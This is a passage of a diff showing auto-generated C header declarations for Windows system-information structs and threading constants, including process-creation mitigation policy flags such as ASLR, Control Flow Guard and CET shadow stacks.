} OSVERSIONINFOW;
|
||||
|
||||
typedef struct _SYSTEM_CPU_SET_INFORMATION {
|
||||
unsigned int Size;
|
||||
void* Type;
|
||||
void* Anonymous;
|
||||
} SYSTEM_CPU_SET_INFORMATION;
|
||||
|
||||
typedef struct _CACHE_DESCRIPTOR {
|
||||
unsigned char Level;
|
||||
unsigned char Associativity;
|
||||
unsigned short LineSize;
|
||||
unsigned int Size;
|
||||
void* Type;
|
||||
} CACHE_DESCRIPTOR;
|
||||
|
||||
typedef struct _GROUP_AFFINITY64 {
|
||||
unsigned long long Mask;
|
||||
unsigned short Group;
|
||||
unsigned short Reserved[3];
|
||||
} GROUP_AFFINITY64;
|
||||
|
||||
typedef struct _MEMORYSTATUS {
|
||||
unsigned int dwLength;
|
||||
unsigned int dwMemoryLoad;
|
||||
unsigned long long dwTotalPhys;
|
||||
unsigned long long dwAvailPhys;
|
||||
unsigned long long dwTotalPageFile;
|
||||
unsigned long long dwAvailPageFile;
|
||||
unsigned long long dwTotalVirtual;
|
||||
unsigned long long dwAvailVirtual;
|
||||
} MEMORYSTATUS;
|
||||
|
||||
typedef struct _GROUP_AFFINITY32 {
|
||||
unsigned int Mask;
|
||||
unsigned short Group;
|
||||
unsigned short Reserved[3];
|
||||
} GROUP_AFFINITY32;
|
||||
|
||||
typedef struct _SYSTEM_INFO {
|
||||
void* Anonymous;
|
||||
unsigned int dwPageSize;
|
||||
void* lpMinimumApplicationAddress;
|
||||
void* lpMaximumApplicationAddress;
|
||||
unsigned long long dwActiveProcessorMask;
|
||||
unsigned int dwNumberOfProcessors;
|
||||
unsigned int dwProcessorType;
|
||||
unsigned int dwAllocationGranularity;
|
||||
unsigned short wProcessorLevel;
|
||||
unsigned short wProcessorRevision;
|
||||
} SYSTEM_INFO;
|
||||
|
||||
typedef struct _PROCESSOR_RELATIONSHIP {
|
||||
unsigned char Flags;
|
||||
unsigned char EfficiencyClass;
|
||||
unsigned char Reserved[20];
|
||||
unsigned short GroupCount;
|
||||
void* GroupMask[1];
|
||||
} PROCESSOR_RELATIONSHIP;
|
||||
|
||||
typedef struct _CACHE_RELATIONSHIP {
|
||||
unsigned char Level;
|
||||
unsigned char Associativity;
|
||||
unsigned short LineSize;
|
||||
unsigned int CacheSize;
|
||||
void* Type;
|
||||
unsigned char Reserved[18];
|
||||
unsigned short GroupCount;
|
||||
void* Anonymous;
|
||||
} CACHE_RELATIONSHIP;
|
||||
|
||||
typedef struct _GROUP_RELATIONSHIP {
|
||||
unsigned short MaximumGroupCount;
|
||||
unsigned short ActiveGroupCount;
|
||||
unsigned char Reserved[20];
|
||||
void* GroupInfo[1];
|
||||
} GROUP_RELATIONSHIP;
|
||||
|
||||
typedef struct _SYSTEM_LOGICAL_PROCESSOR_INFORMATION {
|
||||
unsigned long long ProcessorMask;
|
||||
void* Relationship;
|
||||
void* Anonymous;
|
||||
} SYSTEM_LOGICAL_PROCESSOR_INFORMATION;
|
||||
|
||||
typedef struct _OSVERSIONINFOA {
|
||||
unsigned int dwOSVersionInfoSize;
|
||||
unsigned int dwMajorVersion;
|
||||
unsigned int dwMinorVersion;
|
||||
unsigned int dwBuildNumber;
|
||||
unsigned int dwPlatformId;
|
||||
unsigned char szCSDVersion[128];
|
||||
} OSVERSIONINFOA;
|
||||
|
||||
typedef struct _GROUP_AFFINITY {
|
||||
unsigned long long Mask;
|
||||
unsigned short Group;
|
||||
unsigned short Reserved[3];
|
||||
} GROUP_AFFINITY;
|
||||
|
||||
typedef struct _MEMORYSTATUSEX {
|
||||
unsigned int dwLength;
|
||||
unsigned int dwMemoryLoad;
|
||||
unsigned long long ullTotalPhys;
|
||||
unsigned long long ullAvailPhys;
|
||||
unsigned long long ullTotalPageFile;
|
||||
unsigned long long ullAvailPageFile;
|
||||
unsigned long long ullTotalVirtual;
|
||||
unsigned long long ullAvailVirtual;
|
||||
unsigned long long ullAvailExtendedVirtual;
|
||||
} MEMORYSTATUSEX;
|
||||
|
||||
typedef struct _SYSTEM_SUPPORTED_PROCESSOR_ARCHITECTURES_INFORMATION {
|
||||
unsigned int _bitfield;
|
||||
} SYSTEM_SUPPORTED_PROCESSOR_ARCHITECTURES_INFORMATION;
|
||||
|
||||
typedef struct _SYSTEM_PROCESSOR_CYCLE_TIME_INFORMATION {
|
||||
unsigned long long CycleTime;
|
||||
} SYSTEM_PROCESSOR_CYCLE_TIME_INFORMATION;
|
||||
|
||||
typedef struct _OSVERSIONINFOEXA {
|
||||
unsigned int dwOSVersionInfoSize;
|
||||
unsigned int dwMajorVersion;
|
||||
unsigned int dwMinorVersion;
|
||||
unsigned int dwBuildNumber;
|
||||
unsigned int dwPlatformId;
|
||||
unsigned char szCSDVersion[128];
|
||||
unsigned short wServicePackMajor;
|
||||
unsigned short wServicePackMinor;
|
||||
unsigned short wSuiteMask;
|
||||
unsigned char wProductType;
|
||||
unsigned char wReserved;
|
||||
} OSVERSIONINFOEXA;
|
||||
|
||||
typedef struct _NUMA_NODE_RELATIONSHIP {
|
||||
unsigned int NodeNumber;
|
||||
unsigned char Reserved[18];
|
||||
unsigned short GroupCount;
|
||||
void* Anonymous;
|
||||
} NUMA_NODE_RELATIONSHIP;
|
||||
|
||||
typedef struct _PROCESSOR_GROUP_INFO {
|
||||
unsigned char MaximumProcessorCount;
|
||||
unsigned char ActiveProcessorCount;
|
||||
unsigned char Reserved[38];
|
||||
unsigned long long ActiveProcessorMask;
|
||||
} PROCESSOR_GROUP_INFO;
|
||||
|
||||
typedef struct _OSVERSIONINFOEXW {
|
||||
unsigned int dwOSVersionInfoSize;
|
||||
unsigned int dwMajorVersion;
|
||||
unsigned int dwMinorVersion;
|
||||
unsigned int dwBuildNumber;
|
||||
unsigned int dwPlatformId;
|
||||
unsigned short szCSDVersion[128];
|
||||
unsigned short wServicePackMajor;
|
||||
unsigned short wServicePackMinor;
|
||||
unsigned short wSuiteMask;
|
||||
unsigned char wProductType;
|
||||
unsigned char wReserved;
|
||||
} OSVERSIONINFOEXW;
|
||||
|
||||
typedef struct _SYSTEM_LOGICAL_PROCESSOR_INFORMATION_EX {
|
||||
void* Relationship;
|
||||
unsigned int Size;
|
||||
void* Anonymous;
|
||||
} SYSTEM_LOGICAL_PROCESSOR_INFORMATION_EX;
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,890 @@
|
||||
// Generated by entc-win32gen from `Windows.Win32.System.Threading`.
|
||||
// Do not edit by hand. Re-run the generator to refresh.
|
||||
|
||||
typedef unsigned char BYTE;
|
||||
typedef unsigned short WORD;
|
||||
typedef unsigned long DWORD;
|
||||
typedef unsigned long long ULONGLONG;
|
||||
typedef long LONG;
|
||||
typedef unsigned long ULONG;
|
||||
typedef int BOOL;
|
||||
typedef void* PVOID;
|
||||
typedef void* HANDLE;
|
||||
|
||||
#define CONDITION_VARIABLE_LOCKMODE_SHARED 0x1
|
||||
#define INIT_ONCE_CHECK_ONLY 0x1
|
||||
#define INIT_ONCE_ASYNC 0x2
|
||||
#define INIT_ONCE_INIT_FAILED 0x4
|
||||
#define INIT_ONCE_CTX_RESERVED_BITS 0x2
|
||||
#define ALL_PROCESSOR_GROUPS 0xffff
|
||||
#define RTL_CRITICAL_SECTION_FLAG_NO_DEBUG_INFO 0x1000000
|
||||
#define RTL_CRITICAL_SECTION_FLAG_DYNAMIC_SPIN 0x2000000
|
||||
#define RTL_CRITICAL_SECTION_FLAG_STATIC_INIT 0x4000000
|
||||
#define RTL_CRITICAL_SECTION_FLAG_RESOURCE_TYPE 0x8000000
|
||||
#define RTL_CRITICAL_SECTION_FLAG_FORCE_DEBUG_INFO 0x10000000
|
||||
#define RTL_CRITICAL_SECTION_ALL_FLAG_BITS 0xff000000
|
||||
#define RTL_CRITICAL_SECTION_DEBUG_FLAG_STATIC_INIT 0x1
|
||||
#define FLS_OUT_OF_INDEXES 0xffffffff
|
||||
#define PRIVATE_NAMESPACE_FLAG_DESTROY 0x1
|
||||
#define TLS_OUT_OF_INDEXES 0xffffffff
|
||||
#define PROC_THREAD_ATTRIBUTE_REPLACE_VALUE 0x1
|
||||
#define THREAD_POWER_THROTTLING_CURRENT_VERSION 0x1
|
||||
#define THREAD_POWER_THROTTLING_EXECUTION_SPEED 0x1
|
||||
#define THREAD_POWER_THROTTLING_VALID_FLAGS 0x1
|
||||
#define PME_CURRENT_VERSION 0x1
|
||||
#define PME_FAILFAST_ON_COMMIT_FAIL_DISABLE 0x0
|
||||
#define PME_FAILFAST_ON_COMMIT_FAIL_ENABLE 0x1
|
||||
#define PROCESS_POWER_THROTTLING_CURRENT_VERSION 0x1
|
||||
#define PROCESS_POWER_THROTTLING_EXECUTION_SPEED 0x1
|
||||
#define PROCESS_POWER_THROTTLING_IGNORE_TIMER_RESOLUTION 0x4
|
||||
#define PROCESS_LEAP_SECOND_INFO_FLAG_ENABLE_SIXTY_SECOND 0x1
|
||||
#define PROCESS_LEAP_SECOND_INFO_VALID_FLAGS 0x1
|
||||
#define CREATE_MUTEX_INITIAL_OWNER 0x1
|
||||
#define CREATE_WAITABLE_TIMER_MANUAL_RESET 0x1
|
||||
#define CREATE_WAITABLE_TIMER_HIGH_RESOLUTION 0x2
|
||||
#define SYNCHRONIZATION_BARRIER_FLAGS_SPIN_ONLY 0x1
|
||||
#define SYNCHRONIZATION_BARRIER_FLAGS_BLOCK_ONLY 0x2
|
||||
#define SYNCHRONIZATION_BARRIER_FLAGS_NO_DELETE 0x4
|
||||
#define INFINITE 0xffffffff
|
||||
#define PROC_THREAD_ATTRIBUTE_NUMBER 0xffff
|
||||
#define PROC_THREAD_ATTRIBUTE_THREAD 0x10000
|
||||
#define PROC_THREAD_ATTRIBUTE_INPUT 0x20000
|
||||
#define PROC_THREAD_ATTRIBUTE_ADDITIVE 0x40000
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY_DEP_ENABLE 0x1
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY_DEP_ATL_THUNK_ENABLE 0x2
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY_SEHOP_ENABLE 0x4
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY_FORCE_RELOCATE_IMAGES_MASK 0x300
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY_FORCE_RELOCATE_IMAGES_DEFER 0x0
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY_FORCE_RELOCATE_IMAGES_ALWAYS_ON 0x100
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY_FORCE_RELOCATE_IMAGES_ALWAYS_OFF 0x200
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY_FORCE_RELOCATE_IMAGES_ALWAYS_ON_REQ_RELOCS 0x300
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY_HEAP_TERMINATE_MASK 0x3000
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY_HEAP_TERMINATE_DEFER 0x0
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY_HEAP_TERMINATE_ALWAYS_ON 0x1000
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY_HEAP_TERMINATE_ALWAYS_OFF 0x2000
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY_HEAP_TERMINATE_RESERVED 0x3000
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY_BOTTOM_UP_ASLR_MASK 0x30000
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY_BOTTOM_UP_ASLR_DEFER 0x0
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY_BOTTOM_UP_ASLR_ALWAYS_ON 0x10000
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY_BOTTOM_UP_ASLR_ALWAYS_OFF 0x20000
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY_BOTTOM_UP_ASLR_RESERVED 0x30000
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY_HIGH_ENTROPY_ASLR_MASK 0x300000
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY_HIGH_ENTROPY_ASLR_DEFER 0x0
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY_HIGH_ENTROPY_ASLR_ALWAYS_ON 0x100000
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY_HIGH_ENTROPY_ASLR_ALWAYS_OFF 0x200000
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY_HIGH_ENTROPY_ASLR_RESERVED 0x300000
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY_STRICT_HANDLE_CHECKS_MASK 0x3000000
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY_STRICT_HANDLE_CHECKS_DEFER 0x0
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY_STRICT_HANDLE_CHECKS_ALWAYS_ON 0x1000000
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY_STRICT_HANDLE_CHECKS_ALWAYS_OFF 0x2000000
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY_STRICT_HANDLE_CHECKS_RESERVED 0x3000000
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY_WIN32K_SYSTEM_CALL_DISABLE_MASK 0x30000000
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY_WIN32K_SYSTEM_CALL_DISABLE_DEFER 0x0
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY_WIN32K_SYSTEM_CALL_DISABLE_ALWAYS_ON 0x10000000
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY_WIN32K_SYSTEM_CALL_DISABLE_ALWAYS_OFF 0x20000000
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY_WIN32K_SYSTEM_CALL_DISABLE_RESERVED 0x30000000
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY_EXTENSION_POINT_DISABLE_MASK 0x300000000
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY_EXTENSION_POINT_DISABLE_DEFER 0x0
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY_EXTENSION_POINT_DISABLE_ALWAYS_ON 0x100000000
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY_EXTENSION_POINT_DISABLE_ALWAYS_OFF 0x200000000
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY_EXTENSION_POINT_DISABLE_RESERVED 0x300000000
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY_PROHIBIT_DYNAMIC_CODE_MASK 0x3000000000
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY_PROHIBIT_DYNAMIC_CODE_DEFER 0x0
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY_PROHIBIT_DYNAMIC_CODE_ALWAYS_ON 0x1000000000
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY_PROHIBIT_DYNAMIC_CODE_ALWAYS_OFF 0x2000000000
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY_PROHIBIT_DYNAMIC_CODE_ALWAYS_ON_ALLOW_OPT_OUT 0x3000000000
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY_CONTROL_FLOW_GUARD_MASK 0x30000000000
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY_CONTROL_FLOW_GUARD_DEFER 0x0
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY_CONTROL_FLOW_GUARD_ALWAYS_ON 0x10000000000
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY_CONTROL_FLOW_GUARD_ALWAYS_OFF 0x20000000000
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY_CONTROL_FLOW_GUARD_EXPORT_SUPPRESSION 0x30000000000
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_MASK 0x300000000000
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_DEFER 0x0
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON 0x100000000000
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_OFF 0x200000000000
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALLOW_STORE 0x300000000000
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY_FONT_DISABLE_MASK 0x3000000000000
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY_FONT_DISABLE_DEFER 0x0
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY_FONT_DISABLE_ALWAYS_ON 0x1000000000000
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY_FONT_DISABLE_ALWAYS_OFF 0x2000000000000
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY_AUDIT_NONSYSTEM_FONTS 0x3000000000000
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY_IMAGE_LOAD_NO_REMOTE_MASK 0x30000000000000
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY_IMAGE_LOAD_NO_REMOTE_DEFER 0x0
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY_IMAGE_LOAD_NO_REMOTE_ALWAYS_ON 0x10000000000000
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY_IMAGE_LOAD_NO_REMOTE_ALWAYS_OFF 0x20000000000000
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY_IMAGE_LOAD_NO_REMOTE_RESERVED 0x30000000000000
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY_IMAGE_LOAD_NO_LOW_LABEL_MASK 0x300000000000000
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY_IMAGE_LOAD_NO_LOW_LABEL_DEFER 0x0
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY_IMAGE_LOAD_NO_LOW_LABEL_ALWAYS_ON 0x100000000000000
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY_IMAGE_LOAD_NO_LOW_LABEL_ALWAYS_OFF 0x200000000000000
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY_IMAGE_LOAD_NO_LOW_LABEL_RESERVED 0x300000000000000
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY_IMAGE_LOAD_PREFER_SYSTEM32_MASK 0x3000000000000000
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY_IMAGE_LOAD_PREFER_SYSTEM32_DEFER 0x0
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY_IMAGE_LOAD_PREFER_SYSTEM32_ALWAYS_ON 0x1000000000000000
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY_IMAGE_LOAD_PREFER_SYSTEM32_ALWAYS_OFF 0x2000000000000000
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY_IMAGE_LOAD_PREFER_SYSTEM32_RESERVED 0x3000000000000000
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY2_LOADER_INTEGRITY_CONTINUITY_MASK 0x30
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY2_LOADER_INTEGRITY_CONTINUITY_DEFER 0x0
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY2_LOADER_INTEGRITY_CONTINUITY_ALWAYS_ON 0x10
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY2_LOADER_INTEGRITY_CONTINUITY_ALWAYS_OFF 0x20
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY2_LOADER_INTEGRITY_CONTINUITY_AUDIT 0x30
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY2_STRICT_CONTROL_FLOW_GUARD_MASK 0x300
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY2_STRICT_CONTROL_FLOW_GUARD_DEFER 0x0
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY2_STRICT_CONTROL_FLOW_GUARD_ALWAYS_ON 0x100
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY2_STRICT_CONTROL_FLOW_GUARD_ALWAYS_OFF 0x200
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY2_STRICT_CONTROL_FLOW_GUARD_RESERVED 0x300
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY2_MODULE_TAMPERING_PROTECTION_MASK 0x3000
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY2_MODULE_TAMPERING_PROTECTION_DEFER 0x0
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY2_MODULE_TAMPERING_PROTECTION_ALWAYS_ON 0x1000
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY2_MODULE_TAMPERING_PROTECTION_ALWAYS_OFF 0x2000
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY2_MODULE_TAMPERING_PROTECTION_NOINHERIT 0x3000
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY2_RESTRICT_INDIRECT_BRANCH_PREDICTION_MASK 0x30000
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY2_RESTRICT_INDIRECT_BRANCH_PREDICTION_DEFER 0x0
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY2_RESTRICT_INDIRECT_BRANCH_PREDICTION_ALWAYS_ON 0x10000
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY2_RESTRICT_INDIRECT_BRANCH_PREDICTION_ALWAYS_OFF 0x20000
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY2_RESTRICT_INDIRECT_BRANCH_PREDICTION_RESERVED 0x30000
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY2_ALLOW_DOWNGRADE_DYNAMIC_CODE_POLICY_MASK 0x300000
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY2_ALLOW_DOWNGRADE_DYNAMIC_CODE_POLICY_DEFER 0x0
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY2_ALLOW_DOWNGRADE_DYNAMIC_CODE_POLICY_ALWAYS_ON 0x100000
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY2_ALLOW_DOWNGRADE_DYNAMIC_CODE_POLICY_ALWAYS_OFF 0x200000
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY2_ALLOW_DOWNGRADE_DYNAMIC_CODE_POLICY_RESERVED 0x300000
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY2_SPECULATIVE_STORE_BYPASS_DISABLE_MASK 0x3000000
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY2_SPECULATIVE_STORE_BYPASS_DISABLE_DEFER 0x0
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY2_SPECULATIVE_STORE_BYPASS_DISABLE_ALWAYS_ON 0x1000000
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY2_SPECULATIVE_STORE_BYPASS_DISABLE_ALWAYS_OFF 0x2000000
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY2_SPECULATIVE_STORE_BYPASS_DISABLE_RESERVED 0x3000000
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY2_CET_USER_SHADOW_STACKS_MASK 0x30000000
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY2_CET_USER_SHADOW_STACKS_DEFER 0x0
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY2_CET_USER_SHADOW_STACKS_ALWAYS_ON 0x10000000
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY2_CET_USER_SHADOW_STACKS_ALWAYS_OFF 0x20000000
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY2_CET_USER_SHADOW_STACKS_STRICT_MODE 0x30000000
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY2_USER_CET_SET_CONTEXT_IP_VALIDATION_MASK 0x300000000
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY2_USER_CET_SET_CONTEXT_IP_VALIDATION_DEFER 0x0
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY2_USER_CET_SET_CONTEXT_IP_VALIDATION_ALWAYS_ON 0x100000000
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY2_USER_CET_SET_CONTEXT_IP_VALIDATION_ALWAYS_OFF 0x200000000
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY2_USER_CET_SET_CONTEXT_IP_VALIDATION_RELAXED_MODE 0x300000000
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY2_BLOCK_NON_CET_BINARIES_MASK 0x3000000000
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY2_BLOCK_NON_CET_BINARIES_DEFER 0x0
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY2_BLOCK_NON_CET_BINARIES_ALWAYS_ON 0x1000000000
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY2_BLOCK_NON_CET_BINARIES_ALWAYS_OFF 0x2000000000
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY2_BLOCK_NON_CET_BINARIES_NON_EHCONT 0x3000000000
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY2_XTENDED_CONTROL_FLOW_GUARD_MASK 0x30000000000
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY2_XTENDED_CONTROL_FLOW_GUARD_DEFER 0x0
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY2_XTENDED_CONTROL_FLOW_GUARD_ALWAYS_ON 0x10000000000
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY2_XTENDED_CONTROL_FLOW_GUARD_ALWAYS_OFF 0x20000000000
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY2_XTENDED_CONTROL_FLOW_GUARD_RESERVED 0x30000000000
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY2_POINTER_AUTH_USER_IP_MASK 0x300000000000
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY2_POINTER_AUTH_USER_IP_DEFER 0x0
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY2_POINTER_AUTH_USER_IP_ALWAYS_ON 0x100000000000
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY2_POINTER_AUTH_USER_IP_ALWAYS_OFF 0x200000000000
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY2_POINTER_AUTH_USER_IP_RESERVED 0x300000000000
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY2_CET_DYNAMIC_APIS_OUT_OF_PROC_ONLY_MASK 0x3000000000000
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY2_CET_DYNAMIC_APIS_OUT_OF_PROC_ONLY_DEFER 0x0
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY2_CET_DYNAMIC_APIS_OUT_OF_PROC_ONLY_ALWAYS_ON 0x1000000000000
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY2_CET_DYNAMIC_APIS_OUT_OF_PROC_ONLY_ALWAYS_OFF 0x2000000000000
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY2_CET_DYNAMIC_APIS_OUT_OF_PROC_ONLY_RESERVED 0x3000000000000
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY2_RESTRICT_CORE_SHARING_MASK 0x30000000000000
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY2_RESTRICT_CORE_SHARING_DEFER 0x0
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY2_RESTRICT_CORE_SHARING_ALWAYS_ON 0x10000000000000
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY2_RESTRICT_CORE_SHARING_ALWAYS_OFF 0x20000000000000
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY2_RESTRICT_CORE_SHARING_RESERVED 0x30000000000000
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY2_FSCTL_SYSTEM_CALL_DISABLE_MASK 0x300000000000000
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY2_FSCTL_SYSTEM_CALL_DISABLE_DEFER 0x0
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY2_FSCTL_SYSTEM_CALL_DISABLE_ALWAYS_ON 0x100000000000000
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY2_FSCTL_SYSTEM_CALL_DISABLE_ALWAYS_OFF 0x200000000000000
|
||||
#define PROCESS_CREATION_MITIGATION_POLICY2_FSCTL_SYSTEM_CALL_DISABLE_RESERVED 0x300000000000000
|
||||
#define PROCESS_CREATION_CHILD_PROCESS_RESTRICTED 0x1
|
||||
#define PROCESS_CREATION_CHILD_PROCESS_OVERRIDE 0x2
|
||||
#define PROCESS_CREATION_CHILD_PROCESS_RESTRICTED_UNLESS_SECURE 0x4
|
||||
#define PROCESS_CREATION_ALL_APPLICATION_PACKAGES_OPT_OUT 0x1
|
||||
#define PROCESS_CREATION_DESKTOP_APP_BREAKAWAY_ENABLE_PROCESS_TREE 0x1
|
||||
#define PROCESS_CREATION_DESKTOP_APP_BREAKAWAY_DISABLE_PROCESS_TREE 0x2
|
||||
#define PROCESS_CREATION_DESKTOP_APP_BREAKAWAY_OVERRIDE 0x4
|
||||
#define PROCESS_CREATION_DESKTOP_APP_TRUSTED_LAUNCH_ALLOW_WINDOWS_HOST 0x8
|
||||
#define PROCESS_CREATION_MITIGATION_AUDIT_POLICY2_CET_USER_SHADOW_STACKS_MASK 0x30000000
|
||||
#define PROCESS_CREATION_MITIGATION_AUDIT_POLICY2_CET_USER_SHADOW_STACKS_DEFER 0x0
|
||||
#define PROCESS_CREATION_MITIGATION_AUDIT_POLICY2_CET_USER_SHADOW_STACKS_ALWAYS_ON 0x10000000
|
||||
#define PROCESS_CREATION_MITIGATION_AUDIT_POLICY2_CET_USER_SHADOW_STACKS_ALWAYS_OFF 0x20000000
|
||||
#define PROCESS_CREATION_MITIGATION_AUDIT_POLICY2_CET_USER_SHADOW_STACKS_RESERVED 0x30000000
|
||||
#define PROCESS_CREATION_MITIGATION_AUDIT_POLICY2_USER_CET_SET_CONTEXT_IP_VALIDATION_MASK 0x300000000
|
||||
#define PROCESS_CREATION_MITIGATION_AUDIT_POLICY2_USER_CET_SET_CONTEXT_IP_VALIDATION_DEFER 0x0
|
||||
